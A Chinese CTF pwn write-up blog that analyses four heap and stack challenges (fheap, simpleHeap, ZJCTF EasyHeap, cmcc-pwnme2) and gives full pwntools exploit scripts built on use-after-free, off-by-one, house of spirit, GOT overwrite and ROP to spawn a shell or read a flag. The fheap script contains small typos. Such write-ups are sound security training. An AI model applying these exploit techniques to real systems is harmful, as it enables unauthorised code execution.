0%

PWN刷题记录

记录做过的题,没有难易区分,持续更新。。

wustctf2020_babyfmt

2016HCTF-fheap

分析二进制文件

1
2
3
4
5
6
7
adef@ubuntu:~/2016HCTF-fheap$ checksec pwn-f
[*] '/home/adef/2016HCTF-fheap/pwn-f'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

除了RELRO保护外其他全开,运行程序发现是菜单形式的,可以进行create和delete,猜测是堆利用。

image-20200619142127412

分析程序

在delete操作中,结束后并未对指针置NULL,存在UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 delete()
{
int v1; // [rsp+Ch] [rbp-114h]
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v3; // [rsp+118h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Pls give me the string id you want to delete\nid:");
v1 = sub_B65();
if ( v1 < 0 || v1 > 16 )
puts("Invalid id");
if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
(*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))(
*((_QWORD *)&unk_2020C0 + 2 * v1 + 1), // 并未将该指针释放
"yes");
*((_DWORD *)&unk_2020C0 + 4 * v1) = 0;
}
}
return __readfsqword(0x28u) ^ v3;
}

并且delete操作是通过结构体内部函数进行的,那么我们可以猜测结构体结构是data(0x18)+free_func。我们也就可以利用UAF漏洞进行覆盖。

create函数,对长度进行了限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
unsigned __int64 create()
{
signed int i; // [rsp+4h] [rbp-102Ch]
char *ptr; // [rsp+8h] [rbp-1028h]
char *dest; // [rsp+10h] [rbp-1020h]
size_t nbytes; // [rsp+18h] [rbp-1018h]
size_t nbytesa; // [rsp+18h] [rbp-1018h]
char buf; // [rsp+20h] [rbp-1010h]
unsigned __int64 v7; // [rsp+1028h] [rbp-8h]

v7 = __readfsqword(0x28u);
ptr = (char *)malloc(0x20uLL);
printf("Pls give string size:");
nbytes = sub_B65();
if ( nbytes <= 0x1000 )
{
printf("str:");
if ( read(0, &buf, nbytes) == -1 )
{
puts("got elf!!");
exit(1);
}
nbytesa = strlen(&buf);
if ( nbytesa > 0xF ) //限制了长度大小
{
dest = (char *)malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, &buf, nbytesa);
*(_QWORD *)ptr = dest;
*((_QWORD *)ptr + 3) = free1;
}
else
{
strncpy(ptr, &buf, nbytesa);
*((_QWORD *)ptr + 3) = free2;
}
*((_DWORD *)ptr + 4) = nbytesa;
for ( i = 0; i <= 15; ++i )
{
if ( !*((_DWORD *)&unk_2020C0 + 4 * i) )
{
*((_DWORD *)&unk_2020C0 + 4 * i) = 1;
*((_QWORD *)&unk_2020C0 + 2 * i + 1) = ptr;
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
(*((void (__fastcall **)(char *))ptr + 3))(ptr);
}
}
else
{
puts("Invalid size");
free(ptr);
}
return __readfsqword(0x28u) ^ v7;
}

当申请的字符串长度大于0xF时,程序会再执行一次malloc,然后把新的malloc的数据存放到第一次malloc的data区。即这样:

  • 字符串块<16, 在原来的堆块上存放输入的字符串

create(8,’aaa’)

img

  • 字符串块>=16, malloc一个输入的字符串大小size的空间, 将该空间地址存放在原来的堆块中

create(0x20,’a’*32)

img

那么我们可以覆盖free_func来leak addr。

Leak addr

利用UAF漏洞来leak addr。首先create两个相同的string(长度小于0xF)。

1
2
create(4,'aa')  #id: 0
create(4,'bb') #id: 1

然后释放

1
2
delete(1)
delete(0)

接下来创建一个长度为0x20的string

1
create(0x20,data)

由于我们这次申请的长度大于了0xF,因此程序实际上进行了两次malloc(0x20),此时我们就可以对id为1的chunk内容进行操作,因为程序本身开启了PIE,因此我们这里可以使用低位覆盖free_func的指针。

1
data='a'*0x18+'\x2d'   #0xd2d调用puts函数

接下来我们就可以获取leak出的addr了:

1
2
3
4
5
6
7
8
9
10
11
delete(1)
io.recvuntil('b'*0x8)
data=io.recvuntil('1.')[:-2]
print data
if len(data)>8:
data=data[:8]
data=u64(data.ljust(8,'\x00'))-0xA000000000000
#这里减掉的数是为了防止有\x0a结尾,若无\x0a,则不减掉此数
print hex(data)
proc_base=data-0xd2d
print("proc_base=>"+hex(proc_base))

Leak system_addr

程序本身还存在格式化字符串漏洞,之前我们已经泄露出了PIE,那么我们可以利用该漏洞劫持PIE到printf,调试过程中发现,我们所输入的’yes’正好位于printf的上方,那么我们可以利用:

1
2
3
delete(0)
payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)
creat(0x20,payload)

从而劫持PIE到printf,并输入了’a%9$s’作为参数,之后我们可以利用pwntools模块的DynELF来找出system函数地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

elf=ELF('./fheap')
io = process("./fheap")

def create(size,creat_str):
io.recvuntil('3.quit')
io.send('create string')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('str:')
io.send(creat_str)

def delete(str_id):
io.recvuntil('3.quit')
io.send('delete string')
io.recvuntil('id:')
io.sendline(str(str_id))
io.recvuntil('sure?:')
io.send("yes")

def leak_addr(addr):
delete(0)
payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)
creat(0x20,payload)
io.recvuntil('3.quit')
io.sendline('delete string')
io.recvuntil('delete\nid:')
io.sendline(str(1))
io.recvuntil('sure?:')
io.send("yes.1111"+p64(addr)+"\n")
io.recvuntil('a')
data = io.recvuntil('####')[:-4]
if len(data) == 0:
return '\x00'
if len(data) <= 8:
print hex(u64(data.ljust(8,'\x00')))
return data

create(4,"aa")
create(4,"bb")
delete(1)
delete(0)
create(0x20,'a'*0x14+'b'*4+'\x2d')
delete(1)
io.recvuntil('bbbb')
data=io.recvuntil('1.')[:-2]
if len(data)>8:
data=data[:8]
data=u64(data.ljust(8,'\x00'))-0xA000000000000
proc_base=data-0xd2d
log.success("proc_base=>"+str(hex(proc_base)))
printf_addr=proc_base+elf.plt['printf']
delete(0)
create(0x20,'a'*0x14+'b'*4+'\x2d')
delete(1)
d = DynELF(leak_addr, proc_base, elf=ELF('./feap'))
system_addr = d.lookup('system', 'libc')
print 'system_addr:'+hex(system_addr)
delete(0)
create(0x20,'/bin/sh;' + '#' * (0x18 - len('/bin/sh;')) + p64(system_addr))
delete(1)
io.interactive()

题目附件

参考链接:UAF (Use After Free)漏洞分析及利用

[V&N2020 公开赛]simpleHeap

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 savedregs; // [rsp+10h] [rbp+0h]

sub_A39();
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
menu();
read_str();
switch ( (unsigned int)&savedregs )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
show();
break;
case 4u:
delete();
break;
case 5u:
exit(0);
return;
default:
puts("Please input current choice.");
break;
}
}
}

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
int edit()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");
v1 = read_str();
if ( v1 < 0 || v1 > 9 || !note_list[v1] )
exit(0);
printf("content:");
modify_C39((__int64)note_list[v1], dword_202060[v1]);// 漏洞函数
return puts("Done!");
}

modify_c39

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int64 __fastcall modify_C39(__int64 a1, int size)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i > size )
break;
if ( !read(0, (void *)(i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)(i + a1) == 10 )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}

漏洞分析:

sub_AB2函数含义是到note_list里寻找第一个空闲的对序号给v1,没有可用的就返回-1,最多申请10个chunk。之后输入的是chunk的大小,最大是111,也就是0x6F,加上chunk头是0x7F,也就是申请的堆只能fastbin大小。

modify函数存在off-by-one,因为i从0开始,条件应该是i>=size时break,而不是i>size。

delete函数没有存在漏洞,指针该置0的都已置0了。

利用思路:

可以利用chunk overlapping,通过chunk的复用规则以及off-by-one造成的chunk overlapping,可以通过分割造成unsortedbin以及Double link。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
#coding:utf-8
from pwn import*
context(arch='amd64',os='linux',log_level='debug')

binary='./simpleHeap'
elf=ELF(binary)
libc=elf.libc

io=process(binary)

def add(size,content):
io.sendlineafter("choice: ",'1')
io.recvuntil("size?")
io.sendline(str(size))
io.recvuntil("content:")
io.sendline(str(content))

def edit(idx,content):
io.sendlineafter("choice: ",'2')
io.recvuntil("idx?")
io.sendline(str(idx))
io.recvuntil("content:")
io.sendline(str(content))

def show(idx):
io.sendlineafter("choice: ",'3')
io.recvuntil("idx?")
io.sendline(str(idx))

def dele(idx):
io.sendlineafter("choice: ",'4')
io.recvuntil("idx?")
io.sendline(str(idx))

#--------leak libc----------#
add(0x18, 'AAAA' )#0
gdb.attach(io)
pause()
add(0x60, 'BBBB')#1
add(0x60, 'CCCC' )#2
add(0x10, 'DDDD' )#3
payload = 'A' * 0x18 + '\xe1'
edit(0, payload)
dele(1)
add(0x60, 'BBBB ')#1
show(2)
main_arena = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-88
libc_base = main_arena - 0x3c4b20
success("libc_base:"+hex(libc_base))
#----------fastbin attack------------#
realloc = libc_base + libc.symbols['__libc_realloc']
malloc_hook = libc_base + libc .symbols['__malloc_hook']
fake_chunk = malloc_hook-0x23
libc_one_gadget = [0x45216 , 0x4526a, 0xf02a4,0xf1147]
one_gadget = libc_base + libc_one_gadget[1]
add(0x60, 'clean bin')#4 and 2
dele(4)
payload = p64(fake_chunk)
edit(2, payload )
add(0x60, 'AAAA' )#4
payload = 'A' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc+13)
add(0x60 , payload)
#-----------get shell--------------#
io.sendlineafter("choice: ", '1')
io.sendlineafter("size?", '10')
io.interactive()

题目附件

ZJCTF-EasyHeap

程序流程

1
2
3
4
5
6
7
8
9
--------------------------------
Easy Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :

create_heap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 create_heap()
{
signed int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
1
2
heaparray[i] = malloc(size);
read_input(heaparray[i], size);
  • heaparray[i]:存放的是chunk的地址。
  • read_input(heaparray[i], size):向chunk写入size大小的内容。

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
size_t v0; // ST08_8
int v2; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
if ( v2 < 0 || v2 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
1
read_input(heaparray[v2], v0);
  • read_input(heaparray[v2], v0):向chunk中写入 v0 大小的内容,也就是说如果v0比create时size大就会造成堆溢出。

delete_heap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
  • free掉对应的chunk后指针置零,不存在UAF。

利用思路

  • 首先可以创建3个chunk,chunk(0,1,2),chunk 1内容为 /bin/sh。
  • 可以利用 house of spirit 技术,伪造 chunkheaparray 附近,这样利用的话我们需要在 malloc fastbin 时进行绕过大小判断,这里巧妙利用了地址开头为 7f 来伪造大小为 0x70 的 fastbin

QQ20200613200343.png

  • 接下来通过伪造的 fastbin 输入内容覆盖 chunk 0 的地址为free_got 的地址。
  • 然后通过edit chunk 0free_got 地址改为 system 的地址。
  • 至此,当 free chunk 1 时就会执行 system(‘/bin/sh’) 拿到shell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
#-*-coding:utf-8 -*-
#author:As1def
from pwn import*
context(arch='amd64',os='linux',log_level='debug')

binary='./easyheap'
elf=ELF(binary)
libc=elf.libc

io=process(binary)

# io=remote("node3.buuoj.cn",26413)

ru=lambda x,drop=True :io.recvuntil(x,drop)
rv=lambda x :io.recv(x)
slt=lambda x,n :io.sendlineafter(x,n)
sl=lambda x :io.sendline(x)
sd=lambda x :io.send(x)
irt=lambda :io.interactive()

def create(size,content):
slt("choice :",'1')
ru("Heap :")
sl(str(size))
ru("heap:")
sl(str(content))
def edit(idx,size,content):
slt("choice :",'2')
ru("Index :")
sl(str(idx))
ru("Heap :")
sl(str(size))
ru("heap :")
sl(content)
def delete(idx):
slt("choice :",'3')
ru("Index :")
sl(str(idx))
def exit():
slt("choice :",'4')

create(0x68,'aaa') #chunk 0
create(0x68,'bbb') #chunk 1
create(0x68,'/bin/sh') #chunk 2

#gdb.attach(io)
#pause()
delete(2)

payload='/bin/sh\x00'+'a'*0x60+p64(0x71)+p64(0x6020b0-3)
edit(1,len(payload),payload)

create(0x68,'ccc')
create(0x68,'ddd')

# flag_addr=0x400C23 #/home/pwn/flag 不存在

system_addr=elf.plt['system']
free_got=elf.got['free']
payload='a'*3+p64(0)*4+p64(free_got)
edit(3,len(payload),payload)

payload=p64(system_addr)
edit(0,len(payload),payload)
delete(1)

irt()

题目来源

cmcc-pwnme2

main函数

userfunction()

image-20200611202258205

add_home()

image-20200611202349086

add_flag()

image-20200611202406100

exec_string()

image-20200611202437146

漏洞还是很好找的,strcpy造成了栈溢出。exec_string函数会读入路径为string的内容并输出。通过add_home()和add_flag()刚好拼接出’/home/flag’字符串到string,一些条件限制也可以绕过。

pwndbg> x/s 0x0804A060
0x804a060 : “flag”

首先利用拼接路径读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
#coding:utf-8
from pwn import *
context.log_level = 'debug'

binary='./pwnme2'
elf=ELF(binary)
libc=elf.libc

#io=process(binary)

io=remote("node3.buuoj.cn",29666)

ru=lambda x,drop=True :io.recvuntil(x,drop)
rv=lambda x :io.recv(x)
sl=lambda x :io.sendline(x)
sd=lambda x :io.send(x)
irt=lambda :io.interactive()

main_addr=0x0804873C
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_ebp=0x08048680
pop_rdi_ebp_ret=0x0804867f
add_home=0x8048644
add_flag=0x8048682
exec_string=0x80485CB

ru("input:")
payload='a'*0x6C+'bbbb'
payload+=p32(add_home)
payload+=p32(pop_ebp)
payload+=p32(0xDEADBEEF)
payload+=p32(add_flag)
payload+=p32(pop_rdi_ebp_ret)
payload+=p32(0xCAFEBABE)
payload+=p32(0xABADF00D)
payload+=p32(exec_string)
sl(payload)

irt()

image-20200611203400619

发现服务器上并没有这个路径的flag

我们可以试着通过调用gets,输入flag路径到string,再返回exec_string

这里直接试着输入flag,成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
#coding:utf-8
from pwn import *
context.log_level = 'debug'

binary='./pwnme2'
elf=ELF(binary)
libc=elf.libc

# io=process(binary)

io=remote("node3.buuoj.cn",29666)
ru=lambda x,drop=True :io.recvuntil(x,drop)
rv=lambda x :io.recv(x)
sl=lambda x :io.sendline(x)
sd=lambda x :io.send(x)
irt=lambda :io.interactive()

exec_string=0x80485CB
gets=elf.plt['gets']
string=0x804A060
payload='a'*0x6c+'bbbb'
payload+=p32(gets)
payload+=p32(exec_string)
payload+=p32(string)
ru("input:")

sl(payload)
sl('flag')

irt()

题目来源

----------------本文结束感谢阅读----------------